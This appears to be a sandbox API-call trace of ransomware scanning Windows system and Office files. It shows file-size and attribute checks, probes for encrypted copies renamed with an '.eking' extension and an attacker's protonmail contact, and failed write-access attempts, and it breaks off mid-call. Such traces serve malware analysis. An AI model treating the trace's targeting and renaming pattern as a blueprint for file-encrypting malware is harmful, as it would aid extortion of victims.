[0165.190] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.190] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=87616) returned 1 [0165.190] CloseHandle (hObject=0x1c0) returned 1 [0165.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0165.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0165.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.191] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.191] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.194] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.195] ResetEvent (hEvent=0x178) returned 1 [0165.195] SetEvent (hEvent=0x17c) returned 1 [0165.195] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.196] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=70720) returned 1 [0165.196] CloseHandle (hObject=0x1c0) returned 1 [0165.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0165.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0165.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.196] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.196] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.199] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.200] ResetEvent (hEvent=0x178) returned 1 [0165.201] SetEvent (hEvent=0x17c) returned 1 [0165.201] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.201] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=70208) returned 1 [0165.201] CloseHandle (hObject=0x1c0) returned 1 [0165.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0165.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0165.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.201] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.202] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.205] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.207] ResetEvent (hEvent=0x178) returned 1 [0165.207] SetEvent (hEvent=0x17c) returned 1 [0165.207] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.207] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.209] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.212] ResetEvent (hEvent=0x178) returned 1 [0165.212] SetEvent (hEvent=0x17c) returned 1 [0165.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.214] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=99136) returned 1 [0165.214] CloseHandle (hObject=0x1c4) returned 1 [0165.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0165.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0165.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.215] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.470] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1369952) returned 1 [0165.470] CloseHandle (hObject=0x1c4) returned 1 [0165.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0165.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0165.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.472] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=629664) returned 1 [0165.472] CloseHandle (hObject=0x1c4) returned 1 [0165.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0165.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0165.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.473] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=64096) returned 1 [0165.473] CloseHandle (hObject=0x1c4) returned 1 [0165.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0165.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0165.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.476] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2557) returned 1 [0165.476] CloseHandle (hObject=0x1c4) returned 1 [0165.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0165.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0165.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.478] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=543304) returned 1 [0165.478] CloseHandle (hObject=0x1c4) returned 1 [0165.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0165.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0165.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.480] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=566) returned 1 [0165.480] CloseHandle (hObject=0x1c4) returned 1 [0165.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0165.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0165.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.481] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=176311) returned 1 [0165.481] CloseHandle (hObject=0x1c4) returned 1 [0165.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0165.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0165.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.481] ResetEvent (hEvent=0x178) returned 1 [0165.482] SetEvent (hEvent=0x17c) returned 1 [0165.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.482] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7656) returned 1 [0165.482] CloseHandle (hObject=0x1c4) returned 1 [0165.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0165.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0165.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.483] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.485] ResetEvent (hEvent=0x178) returned 1 [0165.485] SetEvent (hEvent=0x17c) returned 1 [0165.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.485] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=31104) returned 1 [0165.486] CloseHandle (hObject=0x1c8) returned 1 [0165.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0165.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0165.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.486] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.489] ResetEvent (hEvent=0x178) returned 1 [0165.489] SetEvent (hEvent=0x17c) returned 1 [0165.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.490] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=38768) returned 1 [0165.490] CloseHandle (hObject=0x1c8) returned 1 [0165.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0165.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0165.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.491] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.491] ResetEvent (hEvent=0x178) returned 1 [0165.491] SetEvent (hEvent=0x17c) returned 1 [0165.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.493] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1312656) returned 1 [0165.493] CloseHandle (hObject=0x1c8) returned 1 [0165.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0165.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0165.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.493] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.494] ResetEvent (hEvent=0x178) returned 1 [0165.494] SetEvent (hEvent=0x17c) returned 1 [0165.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 